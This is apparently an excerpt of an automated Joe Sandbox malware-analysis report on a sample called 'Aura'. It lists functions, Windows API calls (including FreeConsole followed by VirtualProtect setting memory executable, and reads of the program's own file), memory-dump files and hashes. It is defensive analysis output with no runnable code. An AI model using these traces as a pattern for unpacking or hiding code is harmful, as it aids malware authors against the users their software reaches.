Part of subcall function 000BC2BB: GetLastError.KERNEL32(00000000,?,000B76E9,000BD306,?,?,000BC1B7,00000001,00000364,?,00000005,000000FF,?,000B5495,000D8E38,0000000C), ref: 000BC2BF
Part of subcall function 000BC2BB: SetLastError.KERNEL32(00000000), ref: 000BC361

CloseHandle.KERNEL32(?,?,?,000B53D9,?,?,000B54CE,00000000), ref: 000B551F
FreeLibraryAndExitThread.KERNELBASE(?,?,?,?,000B53D9,?,?,000B54CE,00000000), ref: 000B5535
ExitThread.KERNEL32 ref: 000B553E

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrary
String ID:
API String ID: 1991824761-0
Opcode ID: 7c8f11d4c60a88d2126bf88ae964ca04543f700b6f9cb679e6905529dd7c13c7
Instruction ID: c082805b01b3561dd410cc82b0dcc88b1c8814194e3a64bbb2a82dd36db371c8
Opcode Fuzzy Hash: 7c8f11d4c60a88d2126bf88ae964ca04543f700b6f9cb679e6905529dd7c13c7
Instruction Fuzzy Hash: 95F03A70101E006BDB715B659C18BAA3BDAAF003B2B084694F9AA970A1DB25ED428660

Function 000B565F Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000002,?,000B5721,000B8396,000B8396,?,00000002,F7EDDA51,000B8396,00000002), ref: 000B5670
TerminateProcess.KERNEL32(00000000,?,000B5721,000B8396,000B8396,?,00000002,F7EDDA51,000B8396,00000002), ref: 000B5677
ExitProcess.KERNEL32 ref: 000B5689

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 450a577e7d92761e64c9b183f9e201d3d0e1d98bf229792ec437f0ad65e8437c
Instruction ID: 55ce810481fcd52e4b9af347897589a1e3c6f11d17bf288f2641b650f30dd462
Opcode Fuzzy Hash: 450a577e7d92761e64c9b183f9e201d3d0e1d98bf229792ec437f0ad65e8437c
Instruction Fuzzy Hash: 63D09231001A08BBEF113FA1EC0EAE93F2AEF44382B444051BD494A172DF3A9D52DAA4

Function 000C3BF4 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000C3F9E: GetConsoleOutputCP.KERNEL32(F7EDDA51,00000000,00000000,?), ref: 000C4001

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,000B8584,?), ref: 000C3D79
GetLastError.KERNEL32(?,?,000B8584,?,000B87C8,00000000,?,00000000,000B87C8,?,?,?,000D8FE8,0000002C,000B86B4,?), ref: 000C3D83

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: b05b8213fb419b164412deaaa6a9a77adc415c0deb5f7eb552b85afa0ca457da
Instruction ID: 60df9fc9597de00da6f061f40a9117f3e362ec0b33228bde39f43c8460a3e2b7
Opcode Fuzzy Hash: b05b8213fb419b164412deaaa6a9a77adc415c0deb5f7eb552b85afa0ca457da
Instruction Fuzzy Hash: 0F61BCB591411AAFDF15CFA8D884FEEBBB9BF49304F14815DE801A7252D732DA01DBA0

Function 000C43CD Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,000C3D5F,00000000,000B87C8,?,00000000,?,00000000), ref: 000C4469
GetLastError.KERNEL32(?,000C3D5F,00000000,000B87C8,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,000B8584), ref: 000C448F

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: fe616be72a109ebb5e8804e96eacb654239944b0625402bfc74c93773291c515
Instruction ID: ec543ecc9799872a8181c4359a8b5760bada66fb0a320d183047c97dd25a59a6
Opcode Fuzzy Hash: fe616be72a109ebb5e8804e96eacb654239944b0625402bfc74c93773291c515
Instruction Fuzzy Hash: 5B218D35A002199BCB19CF69DC90BEEB7B9FB58305F2440AEE906D7251D630DE42CF60

Function 000A90F0 Relevance: 3.1, APIs: 2, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 000A91C9
std::_Throw_Cpp_error.LIBCPMT ref: 000A91D7

Part of subcall function 000AEFD2: ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,000A8E4A,000AA2F0), ref: 000AEFE7

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ExclusiveLockRelease
String ID:
API String ID: 3666349979-0
Opcode ID: 77a9e7e41564ea100834a5c0588255ef22a6d8bb2b633f387dc59f11a6f9222e
Instruction ID: e6c1f7b91c39c40b88c58b5134062a65084e01e8bf4859c400fc1ac295fd6a9c
Opcode Fuzzy Hash: 77a9e7e41564ea100834a5c0588255ef22a6d8bb2b633f387dc59f11a6f9222e
Instruction Fuzzy Hash: CF21E5B1A006569BDB10DFA4CD45BAEBBB5FF06320F144228E515573C2D734A915CBD2

Function 000BDA52 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,000BD941,000D9330,0000000C), ref: 000BDA9E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,000BD941,000D9330,0000000C), ref: 000BDAB0

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 2c85b9383ba2aca11db53dfc5d5ea10f3154de2e36c2409bd3a3c9c270a0ad98
Instruction ID: 0a960db4d7e50adb4f33be11d2cee80e60cc421b2bfa46e29c39c2d6c9bfdfcc
Opcode Fuzzy Hash: 2c85b9383ba2aca11db53dfc5d5ea10f3154de2e36c2409bd3a3c9c270a0ad98
Instruction Fuzzy Hash: 0A11D67110C7424AD7308F3E8CD86A6FAD9AB56330B38075BD4B6C65F1E674D886D212

Function 000A1EF0 Relevance: 3.1, APIs: 2, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000A1240: _strlen.LIBCMT ref: 000A12BA

FreeConsole.KERNELBASE(?,?,?,?,?,000A173F,?,?,?,00000000,?), ref: 000A1F21
VirtualProtect.KERNELBASE(000DA011,00000549,00000040,?), ref: 000A1F78

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ConsoleFreeProtectVirtual_strlen
String ID:
API String ID: 1248733679-0
Opcode ID: dfafe4e5f642fac3138198f2efd41582c2d3c7dc7ca76b1ba086b095f29f45be
Instruction ID: 5d550a360dd35e1ebc6c1974007fd29aff9cfb01c8fcabb7cde4ad18079a6859
Opcode Fuzzy Hash: dfafe4e5f642fac3138198f2efd41582c2d3c7dc7ca76b1ba086b095f29f45be
Instruction Fuzzy Hash: F511CA75B002056BEB04BBA4DC02FFE7B74DB46701F04443AFA04AB2C3E675955087E5

Function 000B5470 Relevance: 3.0, APIs: 2, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(000D8E38,0000000C), ref: 000B5483
ExitThread.KERNEL32 ref: 000B548A

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 0d5a9cf62b5deb0f2112de85739da855064da696a6ec311cccaf7433434e726f
Instruction ID: 7e6aa9e7c962c7a6d2d425c19c8fc62cfb426417a103c833d8b7c3fbc96a8a61
Opcode Fuzzy Hash: 0d5a9cf62b5deb0f2112de85739da855064da696a6ec311cccaf7433434e726f
Instruction Fuzzy Hash: FEF0AF71A01605AFEB00AFB0CC0AAEE7B74EF00701F14849AF4019B293CF795941CF61

Function 000A2270 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 000A2288
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 000A229C

Part of subcall function 000A1FB0: CreateFileA.KERNELBASE ref: 000A2036
Part of subcall function 000A1FB0: GetFileSize.KERNEL32(00000000,00000000), ref: 000A2046
Part of subcall function 000A1FB0: ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 000A206B
Part of subcall function 000A1FB0: CloseHandle.KERNELBASE(00000000), ref: 000A207A
Part of subcall function 000A1FB0: _strlen.LIBCMT ref: 000A20CD

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: File$HandleModule$CloseCreateNameReadSize_strlen
String ID:
API String ID: 3505371420-0
Opcode ID: f5ce391f9690868d1eeed799b6d6866fb58239c8e0eac4742f63ae3e5276b9f0
Instruction ID: a3a903cc7e9142e933c92ccd3402faf6e9f5e6144c95af443fb0d7090d2f9465
Opcode Fuzzy Hash: f5ce391f9690868d1eeed799b6d6866fb58239c8e0eac4742f63ae3e5276b9f0
Instruction Fuzzy Hash: C9F0E5B1A052506BE1216724AC0BEEB7BACDF86710F000529F9894A182EA7911458AA3

Function 000BBED7 Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,000C02B4,?,00000000,?,?,000BFF54,?,00000007,?,?,000C089A,?,?), ref: 000BBEED
GetLastError.KERNEL32(?,?,000C02B4,?,00000000,?,?,000BFF54,?,00000007,?,?,000C089A,?,?), ref: 000BBEF8

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 107d2104c391f188987a2f965272577149946136deac73fd10d5ec8d3807f8be
Instruction ID: 206a043dcef30d97eae5c7402e2da3527134cf17679a5a9160e73d5696ec49bb
Opcode Fuzzy Hash: 107d2104c391f188987a2f965272577149946136deac73fd10d5ec8d3807f8be
Instruction Fuzzy Hash: 39E08C32209214ABDB112FA4AC08FE93BA8EB40391F104022FA0896172CB798840CBA4

Function 000BC16A Relevance: 2.6, APIs: 2, Instructions: 71COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,000B5495,000D8E38,0000000C), ref: 000BC16E
SetLastError.KERNEL32(00000000), ref: 000BC210

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: ea643834be1309ac306953a5102be975dc0333c1d6ad8b56a45ca558255b1c4a
Instruction ID: ceeef9a74124a14cb79c9aea1938832ed96be643f516d9d15f936872183155d7
Opcode Fuzzy Hash: ea643834be1309ac306953a5102be975dc0333c1d6ad8b56a45ca558255b1c4a
Instruction Fuzzy Hash: 6811E5313867156FF6502BB8ACC7DEF769DAF12764F14053AFA21E50A3DBA48C059170

Function 000ADEF0 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb9d7b30ea215296f24f97f7a104de0b41d8d3f20604c046c4c15d2e53303bb7
Instruction ID: be2e6ef6347f42e93aec0b39db5556952d58d13a3ec682a71850b7f3cbfc0ff5
Opcode Fuzzy Hash: eb9d7b30ea215296f24f97f7a104de0b41d8d3f20604c046c4c15d2e53303bb7
Instruction Fuzzy Hash: 5641B235A0011AAFCB14DFA8C4949EEB7F9FF1A310B54007AE542E7A40E731E945DBA0

Function 000ACB40 Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d85e6d6b11cdd9bbde795b610429005ff1b5c9d5740f7ed2e6c1f67580ac1d5
Instruction ID: e300c868efd3ee50b5d6f25f53918cbe85f58e3f9a48721a4f74a7db22dfe30a
Opcode Fuzzy Hash: 6d85e6d6b11cdd9bbde795b610429005ff1b5c9d5740f7ed2e6c1f67580ac1d5
Instruction Fuzzy Hash: 4531967291011AEFDF14CFA8D890DEDB7F8BF0A320B15426AE516E7690D731E944CBA0

Function 000AB060 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 000AAFC4: GetModuleHandleExW.KERNEL32(00000002,00000000,000A8A2A,?,?,000AAF87,000A8A2A,?,000AAF58,000A8A2A,?,?,?), ref: 000AAFD0

FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,F7EDDA51,?,?,?,Function_0002BE94,000000FF), ref: 000AB0C7

Part of subcall function 000AAEFA: std::_Throw_Cpp_error.LIBCPMT ref: 000AAF1B

Part of subcall function 000AEFD2: ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,000A8E4A,000AA2F0), ref: 000AEFE7

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: CallbackCpp_errorExclusiveFreeHandleLibraryLockModuleReleaseReturnsThrow_Whenstd::_
String ID:
API String ID: 3627539351-0
Opcode ID: 1dc13a8c9d08c4fc8614b865b88501095658de5bfbcea249abb1a625e72599cc
Instruction ID: ffb4ee34d82f952d55edb0dd9bacb2187bb763c3d3153ff55ea3a0621e7e22c2
Opcode Fuzzy Hash: 1dc13a8c9d08c4fc8614b865b88501095658de5bfbcea249abb1a625e72599cc
Instruction Fuzzy Hash: 9A1104327046459BDB25AFA9DD11EAE7BA5EF43B20F00452FF815876D2CB39D810CA61

Function 000BCFD6 Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43367b843a9550c0341cd14813001af87f32f59b675507a08cba2453cde23ab3
Instruction ID: 8a11fd3f0a8a119a608b7247b7be8e899aec46a2556e039664b530a2da715d99
Opcode Fuzzy Hash: 43367b843a9550c0341cd14813001af87f32f59b675507a08cba2453cde23ab3
Instruction Fuzzy Hash: 84012D372201159FAB169F68EC40EAA73A6FBC4760B254027FD04C7094EB35D801D760

Function 000ACB32 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1675098516.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675134376.00000000000CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675148969.00000000000DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675161443.00000000000DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675180565.00000000000DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675195132.00000000000E2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675242534.000000000012E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_Aura.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: 9a3a62767f954e61c64b095d12e67e7ec22cc74432bf5b9f97df06975781066e
Instruction ID: 908509c0df28ed0edf0cb787ea6a3df66ca4b35c44c06a3c7ebe155689b3ada4
Opcode Fuzzy Hash: 9a3a62767f954e61c64b095d12e67e7ec22cc74432bf5b9f97df06975781066e
Instruction Fuzzy Hash: 7001447A7082868FEB599BB8F935AA8BB90FF97334F24816FD011885C2CB135810C710

Function 000BD2B4 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,000BC1B7,00000001,00000364,?,00000005,000000FF,?,000B5495,000D8E38,0000000C), ref: 000BD2F5

Memory Dump Source

Source File: 00000000.00000002.1675113327.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

